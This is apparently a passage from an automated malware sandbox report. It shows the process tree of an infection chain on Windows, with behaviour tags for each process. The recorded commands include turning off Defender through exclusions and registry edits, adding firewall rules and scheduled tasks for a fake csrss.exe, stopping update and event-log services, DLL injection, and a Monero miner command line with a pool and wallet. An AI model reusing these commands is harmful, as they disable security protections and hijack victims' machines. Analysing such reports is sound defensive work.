                                              "C:\Program Files (x86)\1716040364_0\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall
                                              8⤵
                                              • Checks computer location settings
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              • Writes to the Master Boot Record (MBR)
                                              • Drops file in Program Files directory
                                              • Modifies system certificate store
                                              • Suspicious use of FindShellTrayWindow
                                              • Suspicious use of SendNotifyMessage
                                              • Suspicious use of SetWindowsHookEx
                                              PID:5868
                                        • C:\Users\Admin\Pictures\UELDeFVmIgGVLfdTVqugEj8D.exe
                                          "C:\Users\Admin\Pictures\UELDeFVmIgGVLfdTVqugEj8D.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3332
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -nologo -noprofile
                                            7⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:5512
                                          • C:\Users\Admin\Pictures\UELDeFVmIgGVLfdTVqugEj8D.exe
                                            "C:\Users\Admin\Pictures\UELDeFVmIgGVLfdTVqugEj8D.exe"
                                            7⤵
                                            • Executes dropped EXE
                                            • Adds Run key to start application
                                            • Checks for VirtualBox DLLs, possible anti-VM trick
                                            • Drops file in Windows directory
                                            • Modifies data under HKEY_USERS
                                            PID:5316
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -nologo -noprofile
                                              8⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Drops file in System32 directory
                                              • Modifies data under HKEY_USERS
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:4468
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                              8⤵
                                                PID:3868
                                                • C:\Windows\system32\netsh.exe
                                                  netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                  9⤵
                                                  • Modifies Windows Firewall
                                                  PID:5620
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -nologo -noprofile
                                                8⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • Drops file in System32 directory
                                                • Modifies data under HKEY_USERS
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2752
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -nologo -noprofile
                                                8⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • Drops file in System32 directory
                                                • Modifies data under HKEY_USERS
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2368
                                              • C:\Windows\rss\csrss.exe
                                                C:\Windows\rss\csrss.exe
                                                8⤵
                                                • Executes dropped EXE
                                                • Adds Run key to start application
                                                • Manipulates WinMonFS driver.
                                                • Drops file in Windows directory
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:5720
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -nologo -noprofile
                                                  9⤵
                                                  • Command and Scripting Interpreter: PowerShell
                                                  PID:5740
                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                  9⤵
                                                  • Creates scheduled task(s)
                                                  PID:6112
                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                  schtasks /delete /tn ScheduledUpdate /f
                                                  9⤵
                                                    PID:5340
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -nologo -noprofile
                                                    9⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    PID:640
                                                  • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                                    C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                                    9⤵
                                                    • Executes dropped EXE
                                                    PID:5620
                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                    9⤵
                                                    • Creates scheduled task(s)
                                                    PID:4960
                                                  • C:\Windows\windefender.exe
                                                    "C:\Windows\windefender.exe"
                                                    9⤵
                                                    • Executes dropped EXE
                                                    PID:2864
                                            • C:\Users\Admin\Pictures\5dTIA98vgpT4ZVdbzVkBn6wk.exe
                                              "C:\Users\Admin\Pictures\5dTIA98vgpT4ZVdbzVkBn6wk.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              PID:5980
                                            • C:\Users\Admin\Pictures\n9t28iaiX0W8K1UJOI1Y2Y1V.exe
                                              "C:\Users\Admin\Pictures\n9t28iaiX0W8K1UJOI1Y2Y1V.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              PID:5712
                                              • C:\Users\Admin\AppData\Local\Temp\7zS6A9C.tmp\Install.exe
                                                .\Install.exe /tEdidDDf "385118" /S
                                                7⤵
                                                • Checks BIOS information in registry
                                                • Checks computer location settings
                                                • Executes dropped EXE
                                                • Enumerates system info in registry
                                                PID:6020
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                  8⤵
                                                    PID:2096
                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                    8⤵
                                                      PID:5596
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                        9⤵
                                                          PID:5560
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                            10⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:456
                                                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                              11⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5716
                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 13:54:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS6A9C.tmp\Install.exe\" it /NJSdidaxlW 385118 /S" /V1 /F
                                                        8⤵
                                                        • Drops file in Windows directory
                                                        • Creates scheduled task(s)
                                                        PID:3632
                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
                                                        8⤵
                                                          PID:5964
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                            9⤵
                                                              PID:2368
                                                              • \??\c:\windows\SysWOW64\schtasks.exe
                                                                schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                10⤵
                                                                  PID:5696
                                                        • C:\Users\Admin\Pictures\IsFsb7whuE6X1Ft7F4EyvTzP.exe
                                                          "C:\Users\Admin\Pictures\IsFsb7whuE6X1Ft7F4EyvTzP.exe"
                                                          6⤵
                                                          • Drops file in Drivers directory
                                                          • Executes dropped EXE
                                                          • Drops file in System32 directory
                                                          PID:3772
                                                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                            C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                            7⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            PID:6044
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                            7⤵
                                                              PID:2096
                                                              • C:\Windows\system32\wusa.exe
                                                                wusa /uninstall /kb:890830 /quiet /norestart
                                                                8⤵
                                                                  PID:3204
                                                              • C:\Windows\system32\sc.exe
                                                                C:\Windows\system32\sc.exe stop UsoSvc
                                                                7⤵
                                                                • Launches sc.exe
                                                                PID:632
                                                              • C:\Windows\system32\sc.exe
                                                                C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                7⤵
                                                                • Launches sc.exe
                                                                PID:4520
                                                              • C:\Windows\system32\sc.exe
                                                                C:\Windows\system32\sc.exe stop wuauserv
                                                                7⤵
                                                                • Launches sc.exe
                                                                PID:5456
                                                              • C:\Windows\system32\sc.exe
                                                                C:\Windows\system32\sc.exe stop bits
                                                                7⤵
                                                                • Launches sc.exe
                                                                PID:4580
                                                              • C:\Windows\system32\sc.exe
                                                                C:\Windows\system32\sc.exe stop dosvc
                                                                7⤵
                                                                • Launches sc.exe
                                                                PID:2504
                                                                • C:\Windows\System32\Conhost.exe
                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  8⤵
                                                                    PID:6128
                                                                • C:\Windows\system32\powercfg.exe
                                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                  7⤵
                                                                    PID:4212
                                                                  • C:\Windows\system32\powercfg.exe
                                                                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                    7⤵
                                                                      PID:4744
                                                                    • C:\Windows\system32\powercfg.exe
                                                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                      7⤵
                                                                        PID:5088
                                                                      • C:\Windows\system32\powercfg.exe
                                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                        7⤵
                                                                          PID:4076
                                                                        • C:\Windows\system32\sc.exe
                                                                          C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
                                                                          7⤵
                                                                          • Launches sc.exe
                                                                          PID:5064
                                                                        • C:\Windows\system32\sc.exe
                                                                          C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
                                                                          7⤵
                                                                          • Launches sc.exe
                                                                          PID:5444
                                                                        • C:\Windows\system32\sc.exe
                                                                          C:\Windows\system32\sc.exe stop eventlog
                                                                          7⤵
                                                                          • Launches sc.exe
                                                                          PID:3508
                                                                        • C:\Windows\system32\sc.exe
                                                                          C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
                                                                          7⤵
                                                                          • Launches sc.exe
                                                                          PID:316
                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
                                                                      5⤵
                                                                        PID:1760
                                                                  • C:\Users\Admin\AppData\Local\Temp\1000052001\ReurgingGleek.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\1000052001\ReurgingGleek.exe"
                                                                    3⤵
                                                                    • Checks computer location settings
                                                                    • Executes dropped EXE
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:740
                                                                    • C:\ProgramData\system.exe
                                                                      "C:\ProgramData\system.exe"
                                                                      4⤵
                                                                      • Checks computer location settings
                                                                      • Executes dropped EXE
                                                                      • Adds Run key to start application
                                                                      • Suspicious behavior: AddClipboardFormatListener
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:4484
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\system.exe'
                                                                        5⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2968
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'system.exe'
                                                                        5⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:3144
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\taskmgr.exe'
                                                                        5⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:5084
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
                                                                        5⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:1076
                                                                        • C:\Windows\System32\Conhost.exe
                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                          6⤵
                                                                            PID:2124
                                                                        • C:\Windows\System32\schtasks.exe
                                                                          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "taskmgr" /tr "C:\ProgramData\taskmgr.exe"
                                                                          5⤵
                                                                          • Creates scheduled task(s)
                                                                          PID:1760
                                                                      • C:\ProgramData\build.exe
                                                                        "C:\ProgramData\build.exe"
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:1504
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 740 -s 876
                                                                        4⤵
                                                                        • Program crash
                                                                        PID:4480
                                                                    • C:\Users\Admin\AppData\Local\Temp\1000060001\csrss.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\1000060001\csrss.exe"
                                                                      3⤵
                                                                      • Checks computer location settings
                                                                      • Executes dropped EXE
                                                                      • Loads dropped DLL
                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                      • Checks processor information in registry
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:4512
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c start "" "C:\ProgramData\AAEHJEGIID.exe"
                                                                        4⤵
                                                                        • Checks computer location settings
                                                                        • Suspicious use of SetWindowsHookEx
                                                                        PID:2476
                                                                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                  "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                  1⤵
                                                                  • Executes dropped EXE
                                                                  PID:4056
                                                                  • C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
                                                                    "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:4792
                                                                    • C:\Windows\Temp\333148.exe
                                                                      "C:\Windows\Temp\333148.exe" --list-devices
                                                                      3⤵
                                                                      • Executes dropped EXE
                                                                      • Loads dropped DLL
                                                                      PID:1076
                                                                • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                                                  1⤵
                                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                  • Checks BIOS information in registry
                                                                  • Executes dropped EXE
                                                                  • Identifies Wine through registry keys
                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:4152
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 740 -ip 740
                                                                  1⤵
                                                                    PID:3024
                                                                  • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                                                    1⤵
                                                                    • Executes dropped EXE
                                                                    PID:2304
                                                                  • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                    "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                    1⤵
                                                                    • Executes dropped EXE
                                                                    PID:3980
                                                                    • C:\Windows\System32\Conhost.exe
                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      2⤵
                                                                        PID:4364
                                                                      • C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
                                                                        "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        PID:3724
                                                                    • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                      "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                      1⤵
                                                                      • Executes dropped EXE
                                                                      PID:2132
                                                                      • C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe
                                                                        "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        • Drops file in Program Files directory
                                                                        PID:2788
                                                                        • C:\Windows\Temp\845701.exe
                                                                          "C:\Windows\Temp\845701.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x
                                                                          3⤵
                                                                          • Executes dropped EXE
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          • Suspicious use of FindShellTrayWindow
                                                                          PID:4700
                                                                    • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                                                      1⤵
                                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                      • Checks BIOS information in registry
                                                                      • Executes dropped EXE
                                                                      • Identifies Wine through registry keys
                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                      PID:896
                                                                    • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                                                      1⤵
                                                                      • Executes dropped EXE
                                                                      PID:2524
                                                                    • C:\ProgramData\taskmgr.exe
                                                                      C:\ProgramData\taskmgr.exe
                                                                      1⤵
                                                                      • Executes dropped EXE
                                                                      • Loads dropped DLL
                                                                      PID:5744
                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS6A9C.tmp\Install.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\7zS6A9C.tmp\Install.exe it /NJSdidaxlW 385118 /S
                                                                      1⤵
                                                                      • Executes dropped EXE
                                                                      PID:5656
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                        2⤵
                                                                          PID:4752
                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                            3⤵
                                                                              PID:5648
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                4⤵
                                                                                  PID:6108
                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                    5⤵
                                                                                      PID:2356
                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                  forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                  3⤵
                                                                                    PID:6104
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                      4⤵
                                                                                        PID:4756
                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                          5⤵
                                                                                            PID:5132
                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                        3⤵
                                                                                          PID:1132
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                            4⤵
                                                                                              PID:5832
                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                5⤵
                                                                                                  PID:4632
                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                              forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                              3⤵
                                                                                                PID:4656
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                  4⤵
                                                                                                    PID:1664
                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                      5⤵
                                                                                                        PID:1504
                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                    3⤵
                                                                                                      PID:5384
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                        4⤵
                                                                                                          PID:5400
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                            5⤵
                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                            • Drops file in System32 directory
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:4468
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 5656 -s 572
                                                                                                      2⤵
                                                                                                      • Program crash
                                                                                                      PID:5324
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5656 -ip 5656
                                                                                                    1⤵
                                                                                                      PID:3216
                                                                                                    • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                      C:\ProgramData\Google\Chrome\updater.exe
                                                                                                      1⤵
                                                                                                      • Drops file in Drivers directory
                                                                                                      • Executes dropped EXE
                                                                                                      • Drops file in System32 directory
                                                                                                      • Suspicious use of SetThreadContext
                                                                                                      PID:4624
                                                                                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                        2⤵
                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                        • Drops file in System32 directory
                                                                                                        • Modifies data under HKEY_USERS
                                                                                                        PID:2868
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                        2⤵
                                                                                                          PID:6000
                                                                                                          • C:\Windows\system32\wusa.exe
                                                                                                            wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                            3⤵
                                                                                                              PID:664
                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                            C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                            2⤵
                                                                                                            • Launches sc.exe
                                                                                                            PID:1076
                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                            C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                            2⤵
                                                                                                            • Launches sc.exe
                                                                                                            PID:5412
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              3⤵
                                                                                                                PID:4632
                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                              C:\Windows\system32\sc.exe stop wuauserv
                                                                                                              2⤵
                                                                                                              • Launches sc.exe
                                                                                                              PID:1556
                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                              C:\Windows\system32\sc.exe stop bits
                                                                                                              2⤵
                                                                                                              • Launches sc.exe
                                                                                                              PID:960
                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                              C:\Windows\system32\sc.exe stop dosvc
                                                                                                              2⤵
                                                                                                              • Launches sc.exe
                                                                                                              PID:4892
                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                              2⤵
                                                                                                                PID:5608
                                                                                                              • C:\Windows\system32\powercfg.exe
                                                                                                                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                2⤵
                                                                                                                  PID:2516
                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                  2⤵
                                                                                                                    PID:5880
                                                                                                                  • C:\Windows\system32\powercfg.exe
